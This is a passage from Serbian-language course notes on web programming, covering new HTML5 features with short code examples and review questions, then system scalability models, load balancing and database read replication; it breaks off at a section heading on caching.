Ovom verzijom doslednije je formalizovan nacin parsiranja, ujednacavano jeponasanja u slucaju zapisa koji nisu sasvim ispravni i pojednostavljeni neki ranijekomplikovani zapisi, npr. ranije je moralo:

<!DOCTYPE html PUBLIC

"-//W3C//DTD XHTML 1.0 Transitional//EN

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-

transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

...

a sada je u redu:

<!doctype html>

<html>

...

10.1.1 Semanticki strukturni elementi

Dodati su novi elementi koji opisuju semantiku pojedinih celina:

• header - zaglavlje strane, obicno deo koji je isti” za celu lokaciju

• footer - dno strane, obicno deo koji je isti” za celu lokaciju

• nav - glavna navigacija strane / lokacije

• section - jedna celina strane, uopsteni strukturni element (kao da ga ostalispecijalizuju), moze da bude i odeljak/poglavlje glavnog sadrzaja strane

87

88 GLAVA 10. HTML 5

• article - slicno kao section, ali se koristi na stranicama koje sadrze viserazlicitih sadrzaja, da obuhvati svaki od njih, na primer, ako imamo vesti,svaka vest bi bila u jednoj oznaci article

• aside - celina koja sadrzi sporedne sadrzaje, reklame i slicne sadrzaje kojinisu u centru paznje na otvorenoj stranici

Semanticki strukturni elementi ne donose znacajne novine u odnosu na dizajn, alipojednostavljuju sintaksu i omogucavaju laksu automatsku analizu dokumenata.

10.1.2 Sadrzaji koji se mogu menjati

HTML elementima se dodaju novi atributi i metodi:

• atribut contentEditable (sa vrednostima: true, false, inherited)

• atribut samo za citanje isContentEditable (izracunava true ili false)

• atribut spellcheck (true, false) - oznacava da li se pri menjanju elementaautomatski vrsi provera ispravnosti zapisa

• metod forceSpellCheck() - eksplicitno proverava ispravnost zapisa sadrzajaelementa

Dokumentu se dodaje atribut designMode. Vrednost moze da bude on ili off.Ako je on onda se dokument moze editovati, inace ne moze. Podrazumeva se oni samo programski moze da se menja. 1

10.2 Query Selector

Dokumentu i elementima DOM-a su dodati napredniji metodi za odabiranjeelemenata, nalik na jQuery:

• Element? querySelector(selectors)

• NodeList querySelectorAll(selectors)

Primeri:

document.querySelectorAll("p.naslov, p.podnaslov");

- Izracunava kolekciju elemenata P sa klasama naslov ili podnaslov

1Primer 1

10.3. MIKROPODACI 89

document.querySelector(".naslov, \#podnaslov");

- Pronalazi prvi element cija je klasa naslov ili ima identifikator podnaslov

document.querySelector("\#glavni>a");

- Pronalazi sve oznake A neposredno u okviru elementa sa identifikatoromglavni.

10.3 Mikropodaci

Korak prema semantickom Vebu. Dodatnim atributima elemenata se opisujeznacenje pojedinih tekstova:

• itemscope - odreduje granice grupe opisanih podataka, tj. jednog celovitogpodatka, nalik na oznake granica blokova u programima. Atribut itemtypeodreduje tip podatka u formi URI-ja stranice na kojoj je tip opisan, npr:http://schema.org/Article

• itemprop=’aName’ - odreduje naziv obuhvacenog teksta, tj. jednog atri-buta celine

<div itemscope itemtype="http://matf.rs/student">

Student:

<span itemprop==""firstname"> Petar </span>

<span itemprop==""lastname"> Petrovi\’ c </span>

</div>

Podaci mogu da sadrze druge podatke

<div itemscope itemtype="http://schema.org/Product">

<span itemprop="name">Panasonic White 60L Refrigerator</span>

<img src="panasonic-fridge-60l-white.jpg" alt="">

<div itemprop="aggregateRating"

itemscope itemtype="http://schema.org/AggregateRating">

<meter itemprop="ratingValue" min=0

value=3.5 max=5>Rated 3.5/5</meter>

(based on <span itemprop="reviewCount">11</span>

customer reviews)

</div>

</div>

90 GLAVA 10. HTML 5

10.4 Deljenje resursa izmedu lokacija (CORS)

Uobicajeno JavaScript ne moze da dinamicki (AJAX) koristi resurse sa drugihdomena, iz bezbednosnih razloga u oba smera - podmetnut JS kod moze da citasa neispravne lokacije, ili, mozda izvor resursa ne zeli da omoguci da mu se pri-stupa sa drugih lokacija. Pre ovog standarda, pregledaci bi trebalo da proizvodeizuzetak ako skript na http://app.com/ pristupi resursu na http://resource.com(obicno pustaju GET, ali ne i PUT,... ). Novi mehanizam propisuje pravila kakoda se resursi koriste sa drugih domena a uz odrzavanje visokog nivoa bezbednosti.Ideja je da se u okviru zaglavlja navode informacije o poreklu zahteva i dopustenimlokacijama.

Server zna odakle mu se pristupa (atribut from zaglavlja zahteva), pa moze lakoda sam odbije zahtev, ako ne zeli da odgovori. Da bi pregledac znao da sme dakoristi odgovor, server mu vraca u zaglavlju odgovora:

access-control-allow-origin: http://app.com/

access-control-allow-credentials: true

Pri tome, klijentski kod ne mora da se menja.

10.5 Web Workers

Web Worker je naziv za JS ekvivalent procesa (niti). Izvrsavanje skriptova upozadini, nezavisno od skriptova koji se odnose na korisnicki interfejs. Nije praviproces, ali ne deli okolinu, pa nije ni nit. Omogucava slozeno izracunavanje bezumanjivanja odzivnost korisnickog interfejsa. Jedino sredstvo komunikacije su po-ruke.

Pravljenje novog procesa”:

var worker = new Worker(worker.js’’);

Prekidanje rada procesa”:

worker.terminate();

Primanje poruka od procesa”:

worker.onmessage = function( msg ){

...

};

10.5. WEB WORKERS 91

Slanje poruke procesu”:

worker.postMessage({’command’:’pause’});

Kod procesa” se sastoji od tela koje se izvrsava pokretanjem i metoda za prijemporuka 2

// primanje poruka od glavnog procesa

onmessage = function(e){

...

};

...

// slanje poruke glavnom procesu

postMessage(...);

Provera da li su podrzani:

if(typeof(Worker) !== "undefined") {

// Yes! Web worker support!

// Some code.....

} else {

// Sorry! No Web Worker support..

}

10.5.1 Web Storage

Uvedena je podrska za lokalne podatke na strani klijenta. Definisan je interfejsStorage, poput kataloga, i definisana su dva objekta:

• sessionStorage - skladiste za podatke sa domenom sesije, podaci nisu deljiviizmedu sesija

• localStorage - skladiste za podatke sa domenom aplikacije, podaci su deljiviizmedu sesija

Primer upotrebe:

sessionStorage.brojac = 0;

sessionStorage.brojac = Number(sessionStorage.brojac) + 1;

sessionStorage.remove(’brojac’);

sessionStorage.clear();

Na potpuno isti nacin se koristi i localStorage. 3

2Primer 23Primer 3

92 GLAVA 10. HTML 5

10.6 Scalable Vector Graphics (SVG)

Podrska za vektorski zapisane slike u formatu SVG. 2D vektorski crtezi sepredstavljaju u formatu XML. Veliki broj alata za crtanje podrzava ovaj format(Inkscape,...). Elementima crteza se mogu dodavati dogadaji (onmouseover, onc-lick,...) - u FF moze da se reaguje i u SVG fajlu. Mogu se dodavati i primenjivatifiltri. Crtezi se mogu obradivati u skladu sa odgovarajucim modelom (SVG DOM)4

• Mime tip je image/svg+xml”

• uobicajena ekstenzija je .svg”

• ako je zapis komprimovan, preporucuje se ekstenzija .svgz”

• podrzani su razliciti filtri nad crtezima

10.7 Formulari

Polje input je dobilo

• nove tipove (vrednosti atributa type): tel, url, email, datetime, date, month,week, time, datetime-local, number, range, color

• nove atribute: min, max, required, autocomplete, inputmode, novalidate,pattern, list, placeholder, valueAsDate, valueAsNumber

• nove metode: stepUp(), stepDown()

• nove elemente za validaciju:

– atribute: willValidate, valueMissing, typeMismatch, patternMismatch,tooLong, rangeUnderflow, rangeOverflow, stepMismatch, customError,valid, validationMessage

– metode: setCustomValidity(), checkValidity()

Unapredeni su izgled i ponasanje formulara. Oznaka fieldset obuhvata skup poljaformulara. Prva oznaka legend opisuje naziv skupa polja, ostale oznake legendse prikazuju kao tekstualna polja. Oznake label sada obuhvataju opisni tekst ielement formulara - ako se navede nezavisno od elementa, moze da se atributom forveze za odgovarajuci element, aako se navede van formulara, moze da se atributomform veze za odgovarajuci formular. 5.

4Primer 45Primer 5

10.8. PREVLACENJE SADRZAJA 93

10.8 Prevlacenje sadrzaja

Standardizovane su procedure za prevlacenje objekata stranice na drugo mestona istoj stranici, objekata stranice na neku drugu stranicu, objekata operativnog si-stema (npr. datoteke) na stranicu, objekata stranice u sistem datoteka operativnogsistema i razne druge kombinacije, koje upotrebljavaju saglasne tipove podataka. 6

Pocetak prevlacenja - pravljenje objekta koji obuhvata opcije i podatke kojise prevlace:

<div ondragstart="dragStartHandler(event)">

<p draggable="true" style="color:red">

Crvena

</p>

...

function dragStartHandler(event) {

event.dataTransfer.effectAllowed = ’move’;

event.dataTransfer.setData(

’text/plain’,

event.target.style.color );

}

Provera da li moze da se spusti:

<div ondragover="allowDrop(event)">

...

function allowDrop(ev) {

ev.preventDefault();

}

}

Spustanje objekta:

<div ondrop="dropHandler(event)">

...

function dropHandler(event) {

var data = event.dataTransfer

.getData(internalDNDType);

event.target.style.color = data;

event.preventDefault();

}

6Primer 6

94 GLAVA 10. HTML 5

10.9 Canvas

Novi element, platno” za crtanje. Osnovni atributi su width i height. Bitmapiranocrtanje, zavisno od rezolucije. Za vektorsko crtanje sluzi SVG. 7

<canvas id="canvasId" width="400" height="400"

style="border:solid">

Ova verzija pregleda\v ca ne podr\v zava Canvas.

</canvas>

...

var ctx = document.getElementById(’canvasId’).getContext(’2d’);

ctx.beginPath();

ctx.moveTo( x1, y1 );

ctx.lineTo( x2, y2 );



ctx.closePath();

10.10 Animacije

Animacija stilova - zadavanje pocetnog i krajnjeg stila, eventualno zadavanje medustanja.Ima vise opcija: 8

• animation-duration

• animation-timing-function

• animation-delay

• animation-iteration-count

• animation-direction

10.11 Video zapisi

Novi element video , za prikazivanje video zapisa, ranije je koriscena oznaka object.Moze da se navede jedan izvor: 9

<video src="movie.webm"></video>

7Pimeri 7 i 88Primeri 10 i 119Primer 9

10.12. ZAOBLJENI OKVIRI 95

Moze da se navede vise izvora, radi podrske vise formata ili kvaliteta zapisa:

<video>

<source src="movie.mp4"

type=’video/mp4; codecs="mp4a.40.2"’ /> avc1.42E01E,

<source src="movie.webm"

type=’video/webm; codecs="vp8, vorbis"’/>

</video>

Slika koja se vidi dok zapis nije pusten

<video poster=’...’>

Kontrolna linija

<video controls>

Ucitavanje zapisa pre prikazivanja stranice

<video preload>

Slicno je i za audio zapise.

10.12 Zaobljeni okviri

Novi elementi stilova koji se odnose na okvire: 10

border-radius: 40px

border-radius: 10px 20px 30px 40px

border-top-left-radius: 30px

border-top-right-radius: 20px 10px

border-bottom-right-radius

border-bottom-left-radius

border-image: url("...")

10.13 Data URIs

Omoguceno je zapisivanje podataka u okviru stranice i pristupanje tim podacimaputem URI-ja. Dobre strane su: smanjivanje broja HTTP zahteva za prikaziva-nje stranice, prevazilazi se neefikasnost TCP-a za male datoteke, multimedijalnisadrzaji mogu da se isporucuju kao jedinstvena datoteka, e-poruke mogu da imajuugradene slike, a da se one ne vide kao prilozi, itd. Lose strane su: znacajnopovecavanje zapisa stranice, objedinjeno kesiranje sadrzaja, osetljivo po pitanjubezbednosti, itd. 11

10Primer 12, Slicno, Tranzicije - Primer 1411Primer 13

96 GLAVA 10. HTML 5

10.14 Geografski polozaj

Standardizovan je nacin preuzimanja informacija o lokaciji od uredaja na komese prikazuje sadrzaj. Interfejs NavigatorGeolocation, kao dodatak na postojeci in-terfejs Navigator, dodaje atribut geolocation kao interfejs tipa Geolocation: get-CurrentPosition(successFn,[, errorFn()[, options]] ), long watchPosition(successFn,[,errorFn()[, options]] ), clearWatch(long watchId).

10.15 ...i jos mnogo toga

• Web Sockets - odbaceno iz HTML5, ali uglavnom podrzano

• Indexed Database - Lokalni podaci se mogu organizovati i koristiti ne samokao kolekcije kljuceva i vrednosti, vec i kao baza podataka

• CSS Transforms - 2D i 3D transformacije stilova

• SVG as Background - Vektorski crtezi mogu da se koriste kao pozadina

• Generated Content - Automatsko dodavanje prefiksa i sufiksa. Na primeroznake u listama i slicno.

• Flexbox Layout - Fleksibilni model okvira

• @Font face - Podrzano je dinamicko ucitavanje fontova

• Transitions - Dinamicko postepeno menjanje stilova

10.16 Pitanja

10.1 Navesti i objasniti nove strukturne oznake u HTML-u 5.

10.2 Opisati nove metode za pristupanje elementima DOM-a (selektori) u HTML-u 5.

10.3 Objasniti namenu i nacin upotrebe Web Worker-a” u HTML-u 5.

10.4 Objasniti namenu i opisati nacin upotrebe lokalnih skladista za podatke (WebStorage) u HTML-u 5.

10.5 Opisati unapredenja u radu sa formularima u HTML-u 5.

10.6 Objasniti namenu i ukratko opisati nacin upotrebe platna za crtanje (canvas).

10.7 Objasniti namenu i opisati nacin upotrebe novih elemenata za navodenjevideo i zvucnih zapisa u HTML-u 5.

10.8 Opisati podrsku za prevlacenje sadrzaja (drag & drop) u HTML-u 5.

Glava 11

Skalabilnost

Skalabilnost je sposobnost sistema da podnese veliki porast obima poslova,bez ugrozavanja funkcionalnosti i pouzdanosti sistema.

11.1 Nivo skalabilnosti

Nivo skalabilnost sistema se odreduje na osnovu:

• kolicine administrativno/operativnih poslova, neophodnih radi prilagodavanjaporastu obima poslova

• kolicine razvojnih poslova, potrebnih radi odrzavanja funkcionalnosti sistemapri povecanom opterecenju

• ocekivanog trajanja perioda neaktivnosti sistema tokom prilagodavanja vi-sokom nivou opterecenja

• stepena opadanja performansi u okolnostima povecanog obima poslova

Na osnovu kolicine administrativno/operativnih poslova, neophodnih radiprilagodavanja porastu obima poslova:

• sistem je skalabilan, ako je dovoljno povezati nove uredaje (servere, proce-sore, diskove), bez dodatnih administrativnih poslova

• sistem je umereno skalabilan, ako je potrebno preduzimati odredene promenekonfiguracije, kao sto je manuelna replikacija softvera i/ili podataka

• sistem nije skalabilan, ako je potrebno menjati arhitekturu sistema

Na osnovu kolicine razvojnih poslova, potrebnih radi odrzavanja funkcionalnostisistema pri povecanom opterecenju:

• sistem je skalabilan koliko i njegova najmanje skalabilna komponenta

97

98 GLAVA 11. SKALABILNOST

• sistem je visoko skalabilan, ako nisu potrebne nikakve razvojne aktivno-sti radi prilagodavanja povisenom obimu poslova tj. arhitektura je dobroprilagodena visokom obimu poslova

• sistem je umereno skalabilan, ako su potrebne samo manje modifikacije

• sistem je slabo skalabilan, ako je potrebno menjati arhitekturu softvera

Na osnovu ocekivanog trajanja perioda neaktivnosti sistema tokom prilagodavanjavisokom nivou opterecenja:

• niska skalabilnost, ako je za dodavanje novih uredaja (procesora, diskova,servera) potrebno iskljuciti sistem

• umerena skalabilnost, ako je pri dodavanju novih uredaja potrebno da se nakratko (nekoliko sekundi ili minuta) iskljuci sistem, dok se izvrsi prekonfigu-risanje mreze

• visoka skalabilnost, ako se novi uredaji i softverske komponente mogu doda-vati bez iskljucivanja sistema

Na osnovu stepena opadanja performansi u okolnostima povecanog obimaposlova: sublinearan porast vremena odziva, linearan porast vremena odziva, ek-sponencijalan porast vremena odziva i otkazivanje sistema.

11.2 Merenje skalabilnosti

Trajanje izvrsavanja posla je vreme za koje n uredaja (procesora, cvorova)izvrsi posao cija je slozenost reda x - T (n, x).

Relativno ubrzanje sistema je mera smanjivanja trajanja izvrsavanja poslovapri povecavanju racunarske snage - S(n, x) = T (1, x)/T (n, x)

Propusnost sistema je maksimalan broj poslova odredene slozenosti koji semogu izvrsiti u jedinici vremena. Propusnost sistema sa n uredaja -Xmax(n).

Zauzece uskog grla je trajanje zauzeca resursa koji predstavlja usko grlo si-stema - Db(n) = 1/Xmax(n)

Skaliranje (relativni kapacitet) je mera povecavanja broja poslova koji moguda se izvrse u jedinici vremena - C(n) = Xmax(n)/Xmax(1) = Db(1)/Db(n)

Ako pretpostavimo da sistem ima samo jedno usko grlo i da se ubrzavanje odnosina upravo to usko grlo, onda aproksimiramo da je zauzece uskog grla proporcio-nalno trajanju izvrsavanja:

Db(n) ≈ T (n, 1) ∗ constC(n) ≈ S(n, x)

11.3. KATEGORIJE SKALABILNOSTI 99

11.3 Kategorije skalabilnosti

Linearna skalabilnost: relativni kapacitet je jednak broju uredaja - C(n, x) = n.Dostizna kada se poslovi dobro paralelizuju (npr. veliki broj malih zahteva koji sumedusobno nezavisni).

Sub-linearna skalabilnost: relativni kapacitet je manji od broja uredaja - C(n, x) <n. Kada paralelizacija zahteva dodatne resurse, komunikaciju medu procesima ideljive resurse.

Super-linearna skalabilnost: relativni kapacitet je veci od broja uredaja -C(n, x) > n. Naizgled nemoguca, ali u nekim slucajevima dostizna i realna. Doda-vanje posmatranog uredaja cesto dodaje i druge resurse, na primer, kada se dodajeserver, dodaje se i memorija...

11.3.1 Amdalov zakon

Neka su

• σ - prosecan deo svakog posla koji mora da se obavlja sekvencijalno

• ts - trajanje sekvencijalnog izvrsavanja

• tp - trajanje izvrsavanja na 1 uredaju dela posla koji se moze paralelizovati

Pri tome je:

• ts = T1 ∗ σ

• tp = T1 ∗ (1σ)

• T1 = ts+ tp

Trajanje izvrsavanja posla na n uredaja je:

T (n, x, σ) = ts+ tp/n = T1 ∗ (σ + (1− σ)/n)

= T1 ∗ (nσ + (1− σ))/n = T1 ∗ (1 + (n− 1)σ)/n

Ubrzanje je

SA(n, x, σ) = T1/T (n, x, σ) = T1/[T1 ∗ (1 + (n− 1)σ)/n]

= n/(1 + (n− 1)σ)

Uz pretpostavku o jednom uskom grlu, skaliranje je:

CA(n, x) = SA(n, x) = n/(1 + (n− 1)σ)


Odatle vaziCA(n, x) < 1/σ

tj. ubrzanje nikada ne moze da prede 1/σ.

Vrednost σ zavisi od delova sistema na cije ubrzavanje ne utice povecavanje brojaposmatranih uredaja. Na primer, ako dinamicka Veb lokacija intenzivno kori-sti usluge SUBP, povecavanjem broja Veb servera ne mozemo da prevazidemoogranicenje koje se odnosi na performanse SUBP. Slicno vazi i za zastitni zid,rasporedivac opterecenja i sl. Vrednost σ u praksi ne zavisi samo od neparaleli-zujucih delova, vec delimicno opisuje i sekundarna uska grla.

Amdalov model ne moze da se primenjuje kada paralelno izvrsavanje zahteva do-datnu komunikaciju medu procesima, koja nije obuhvacena ovim modelom, i kadaima vise ravnopravnih (ili skoro ravnopravnih) uskih grla, zato sto je onda:

CA(n, x) = SA(n, x)

11.3.2 Super-serijski model

Super-serijski model (ili Ginterov model) opisuje slucajeve kada komponentesistema koje izvrsavaju paralelizovane poslove moraju da saraduju - na primer,sinhronizacija kesa ili proveravanje katanaca. Ako se dodatno trajanje komunika-cije izmedu dva procesa predstavi kao tc, onda se u slucaju veceg broja procesaizracunava kao tc ∗ (n− 1). Trajanje izvrsavanja postaje

T = ts+ tp/n+ tc ∗ (n− 1)

Neka je γ relativno trajanje komunikacije, u odnosu na serijski deo:

tc = ts ∗ γ

. Onda je trajanje paralelizovanog izvrsavanja

T (n, x, σ, γ) = T1 ∗ (σ + (1σ)/n+ σ ∗ γ ∗ (n− 1))

= T1/n ∗ (1 + σ(n− 1)(1 + γn))

Skaliranje i ubrzanje se racunaju kao kod Amdala:

CA(n, x) = SA(n, x) = T1/T (n, x) = n/(1 + σ(n− 1)(1 + γn))

Nakon prelaska odredenog broja uredaja dostizu se maksimalne performanse. Sadaljim povecavanjem broja uredaja performanse opadaju.

11.4. VRSTE SKALIRANJA 101

11.3.3 Gustavsonov zakon

Prethodni modeli pretpostavljaju da se sa povecavanjem broja poslova uvecavaobim izracunavanja, i da se sa povecavanjem resursa se smanjuje trajanje izracunavanja.Medutim, nije uvek tako. U nekim slucajevima povecavanje obima izracunavanja(do nekih granica) ne proizvodi povecavanje trajanja izracunavanja - na primer,masivno paralelno izracunavanje, CUDA. Tada povecavanje broja uredaja ne skracujevreme izracunavanja, ali povecava propusnu moc.

Pretpostavimo da deo posla koji se izracunava paralelno uvek ima isto trajanjetp, bez obzira na uvecanje broja procesora. Ako je trajanje izvrsavanja na n pro-cesora

T (n) = ts+ tp

Onda se trajanje izvrsavanja na 1 procesoru moze predstaviti kao

T1 = ts+ tp ∗ n

(primetimo da u ovom kontekstu obicno ne posmatramo slucajeve sa 1 procesorom,ali nam je potrebna notacija radi relativnih merenja). Ubrzanje i skaliranje su:

CA(n, x) = SA(n, x) = T1/T (n, x) = n+ σ(1− n)

Primetimo da sada σ predstavlja deo posla koji se serijski izvrsava na n procesora.Kako vazi:

CA(n, x) = n+ σ(1− n)

ocigledno je da za σ > 0 i n > 1 mora da vazi CA < n. Ipak, u nekim slucajevimase skaliranje ponasa kao da je σ < 0, pa moze cak da bude CA > n. Do toga dolazikada dodavanjem posmatranog uredaja imamo i dodavanje sekundarnih uredaja,koji otklanjaju sekundarna uska grla. Na primer, dodavanjem procesora dodaje sei kes memorija, pa se vecim stepenom deljenja posla povecava lokalnost koriscenihpodataka i stepen pogodaka kesa, a to dovodi do dodatnog ubrzavanja. Slicno,dodavanjem servera se moze povecati broj diskova ili protocnost mreze, sa slicnimposledicama. Naravno, kada i vazi CA > n, to nije velika razlika.

11.4 Vrste skaliranja

Razlikujemo vertikalno i horizontalno skaliranje.

Vertikalno skaliranjeOstvaruje se dodavanjem novih resursa postojecim cvorovima sistema - na primer,dodavanje procesora, diskova ili memorije postojecim cvorovima. Ocekivano jevece trajanje perioda neaktivnosti, nivo administrativnih poslova je nizi (skoro ni-kakav), arhitektura je jednostavnija i efikasnija. Preko neke granice postaje dalekoskuplje resenje od horizontalne skalabilnosti.


Ima smisla do nekih granica i za odredene probleme. Kupiti jaci racunar je cestojednostavnije i jeftinije nego razvijati novi softver. Centralizovane baze poda-taka su mnogo lakse za projektovanje, implementiranje i odrzavanje. Horizontalnaskalabilnost postaje neisplativa preko nekih granica (broj procesora i kolicina me-morije). Ne donosi sustiniski nove probleme.

Horizontalno skaliranjeOstvaruje se dodavanjem novih cvorova sistemu - na primer, dodavanje novih ser-vera, ili novih sistema za skladistenje podataka. Ocekivano trajanje perioda ne-aktivnosti je krace, veci je obim i slozeniji su administrativni poslovi, softverskaarhitektura je slozenija. Ipak, posle neke granice postaje daleko ekonomicnijeresenje od vertikalnog skaliranja, skoro da ne postoje gornje granice. Arhitekturasoftvera je slozenija i visa je cena za male konfiguracije, ali je veoma isplativo zavelike sistem. Danas se bavimo skoro iskljucivo horizontalnim skaliranjem

11.4.1 Skaliranje servera

Najjednostavnije je da se izvrsi podela po funkcijama

• poseban server za Veb

• poseban server za bazu podataka

• poseban server za kes

• poseban server za REST servise

Broj funkcija je ogranicen, pa i ovakvo deljenje.

Skaliranje Veb serveraAko gruba podela po funkcijama nije pomogla, sledeci korak je horizontalno ska-liranje aplikativnih / Veb servera. Dodaje se poseban proksi server koji sluzi kaoposrednik / balanser. Proksi server sluzi kao posrednik u komunikaciji izmeduklijenta i servera. Postoje dve sustinski razlicite vrste proksi servera:

• prosledujuci proksi, na strani klijenta

• reverzni proksi, na strani servera

Klijentski proksi server, tzv. prosledujuci proksi”, na strani klijenta proksi sluzikao pristupna tacka za veci broja klijenata, pruza jedinstvenu izlaznu tacka krozzastitni zid klijentske mreze, ponasa se kao poseban servis, a ne kao Veb server.Iako radi po protokolu HTTP, njemuklijenti salju posebnu vrstu zahteva.

Reverzni proksi server (serverski proksi, reverzni proksi, kapija (engl. gateway)predstavlja usmeravajucu pristupnu tacku prema vecem broju servera iz ugla kli-jenta izgleda kao obican Veb server (prima uobicajene HTTP zahteve). Moze

11.4. VRSTE SKALIRANJA 103

da ima vise uloga: da sluzi kao kes na strani servera, da bira servere na osnovuURI-ja, u slucaju fragmentacije ili da vrsi rasporedivanje zahteva (balansiranjeopterecenja), u slucaju replikacije.

Horizontalno skaliranje Veb serveraPodrazumeva replikaciju vise servera sa potpuno istom ulogom; i fragmenta-ciju npr. razliciti delovi Veb lokacije su na razlicitim serverima. Neophodnoje uvodenje proksija, koji primljene zahteve prosleduje do odgovarajuceg Veb ser-vera. U slucaju replikacije proksi obicno ima ulogu rasporedivaca opterecenja,nadzire servere i zahteve salje manje opterecenim serverima. U slucaju fragmen-tacije proksi analizira zahteve na osnovu URI-ja ili tela zahteva bira odgovarajuciserver. Nacelno se odvija lako i efikasno - veliki broj nezavisnih sasvim jednostav-nih poslova. Dodavanjem servera se moze ostvariti veoma visok nivo efikasnosti.U praksi je osnovni problem deljenje sesija. Najbolje je kada uopste nema sesija,dobro je ako su sesije centralizovane a lose je ako su sesije lokalne za Veb server.

Lokalne sesije mogu da budu na disku ili u memoriji. Oba slucaja su problematicnajer nisu raspolozive na drugim serverima, ne mogu da prezive otkaze pojedinacnihservera. Takode, otezano rasporedivanje zahteva jer svi zahtevi jedne sesije mo-raju da idu na isti server (sticky sessions), zato sto drugi serveri nemaju podatkeo sesiji. Rasporedivanje zahteva se obicno ostvaruje tako sto se u kolacicima, kojise koriste za identifikaciju sesije, kodira i identifikacija servera. Otezano planira-nje i balansiranje opterecenja zato sto se na pocetku sesije ne zna koliko ce onabiti zahtevna, serveri se ne smeju opterecivati do krajnjih granica i zato sto se nezna unapred koje sesije ce biti zahtevne, pa ako nekom serveru padne veliki brojzahtevnih sesija moze da opadne odzivnost.

Centralizovane sesije se obicno nalaze u posebnoj bazi podataka, koja sluzi samoza to. Obicno se koristi memorijska baza, zbog visih performansi, a ako je neop-hodno, moze i da se distribuira. Dobre strane su to sto ne zahtevaju premestanjepodataka od servera do servera, nema potrebe da svi zahtevi sesije idu na isti ser-ver, nema opasnosti od neravnomernog balansiranja. Potencijalno losa strana jeto sto moze da bude potrebno da se i ta baza podataka skalira. Ipak, tu je mnogonizi nivo opterecenja nego na same Veb servere, pa je i problem jednostavniji.

Resenje bez sesija podrazumeva cuvanje svih podataka u kolacicima ili cuvanje svihpodataka u bazi podataka. Prvo resenje je potencijalno jednostavno, ali postojiopastnost od ugrozavanje bezbednosti i privatnosti. Drugi pristup je prakticno radbez sesije, iako se koristi kolacic, Naziva se i resenje sa super-tankom sesijom”. Josjedno resenje je koriscenje REST servisa.


11.4.2 Skaliranje servisa

Veb aplikacije pocivaju na servisima. Vecina servisa su horizontalno skalabilnicak i lakse nego aplikativni Veb serveri. Obicno pruzaju jasno oblikovane i zao-kruzene usluge: po jedan zahtev po usluzi, nema internog stanja, bilo koji servermoze da primi naredni zahtev. Potencijalan problem je skalabilnost baze podataka.

Rasporedivanje opterecenjaAko postoji vise servera, potreban je dodatni nivo u arhitekturi - komponenta kojace da prima zahteve i da ih rasporecuje po serverima. Naziva se rasporedivac op-terecenja ili balanser (load balancer). Prima zahteve na jednoj adresi / portu, saljeih na razlicite Veb servere. Posao rasporedivaca opterecenja mogu da obavljajuneki reverzni proksi serveri.

Hardverski balanseriHardverski uredaji koji obavljaju rasporedivanje Veb zahteva su prilicno skupi, aliimaju visoke performanse. Bolji ruteri imaju mogucnost balansiranja i obicno iduu paru zbog visoke raspolozivosti.

Softverski balanseriRade isto sto i hardverski. Postoji vise razlicitih resenja: Apache modul mod proxy,Perlbal, itd. Za visoku raspolozivost se dupliraju serveri na kojima su balanseri.

Balansiranje zahtevaObicno se razlicito planira i implementira balansiranje statickih i dinamickih sadrzaja.Staticki zahtevi zahtevaju manju procesorsku snagu, obicno ih je mnogo vise,prosecna velicina odgovora je veca i ne zahtevaju dodatne servise. Dinamicki za-htevi zahtevaju vecu procesorsku snagu, obicno ih je manje nego statickih, prosecnavelicina odgovora je manja, cesto zahtevaju druge servise (baza podataka i aplika-tivni servisi).

Redovi za cekanjeAlternativa balansiranju zahteva je pravljenje redova za cekanje. Uobicajeno Vebaplikacije rade sinhrono. Asinhroni rad Veb servera omogucava razdvajanje logikeprijema zahteva od logike obrade zahteva. Prave se novi slojevi i mehanizmi. Apli-kativni server po prijemu zahteva zadatak zapisuje u redu, klijent se obavestavada je zadatak primljen i obicno mu se isporucuje neka referenca (URI) da mozeda proveri stanje posla. Posebni serveri proveravaju da li ima novih poslova i uzi-maju i izvrsavaju poslove. Nisu potrebni posebni balanseri osim ako je i sam brojzahteva suvise veliki, pa ni smestanje zahteva u red ne moze da radi jedan server.

11.5. SKALIRANJE RELACIONIH BP 105

11.5 Skaliranje relacionih BP

Najtezi deo sistema za horizontalno skaliranje. Ako je ikako moguce, pozeljno jevertikalno skaliranje (dodavanje procesora, dodavanje memorije, dodavanje pro-stora za podatke). Ako nije moguce zavrsiti posao jednim serverom, potrebnoje analizirati opterecenje. Uobicajeno je da na Vebu 80-95% svih pristupa bazipodataka predstavlja citanje, a lakse je skalirati samo citanje nego i pisanje.

11.5.1 RBP i skaliranje citanja

Ideja je da i dalje ostaje samo jedan ”glavniserver baze podataka. Njegovi podacise repliciraju na dodatne pomocne servere (replike”). Svi zahtevi za pisanje seupucuju glavnom serveru, a svi zahtevi za citanje se upucuju replikama. To je tzv.replikacija master-slave”, jednostavno resenje, ali ne i univerzalno. Neka je

• W relativan obim operacija pisanja

• R relativan obim operacija citanja

i neka su te vrednosti normirane, tj. odnos W/R predstavlja odnos opterecenjaservera, a ne odnos brojeva operacija. Onda jedan server kapaciteta C1 moze dapodnese W ∗ C1 pisanja i R ∗ C1 citanja. Koliki je relativni kapacitet sistema san servera (1 glavni i n− 1 pomocnih)? Vazi jednakost:

n ∗ C1 = C(n) ∗W ∗ n+ C(n) ∗R = C(n)(W ∗ n+R)

gde je n ∗ C1 je ukupan, a C(n) je iskoriscen kapacitet sistema, pa je:

C(n) = n ∗ C1/(W ∗ n+R)

Relativni kapacitet se racuna kao

RC(n) = C(n)/C1 = n/(W ∗ n+R)

Na primer, ako je W = 0.2, R = 0.8, onda je sa 5 servera skaliranje 2.78, gornjagranica skaliranja je 5. Ako je W = 0.15, R = 0.85, onda je sa 5 servera skaliranje3.125, gornja granica skaliranja je 6.67.

Da li dobijena formula lici na nesto poznato?

RC(n) = n/(W ∗ n+R) = n/(W ∗ n+ (1−W )) = n/(1 +W ∗ (n− 1))

Skaliranje citanja iz baze podataka se ponasa po Amdalovom zakonu, pri cemuje σ = W . Primetimo da smo zanemarili cenu komunikacije medu serverima radiuskladivanja izmena. U realnosti skaliranje citanja se ponasa po Ginterovom mo-delu, obicno sa vrlo malim vrednostima γ.

Ako ne pomogne replikacija citanja, polako se zalazi u domen distribuiranih bazapodataka.


11.5.2 Kesiranje

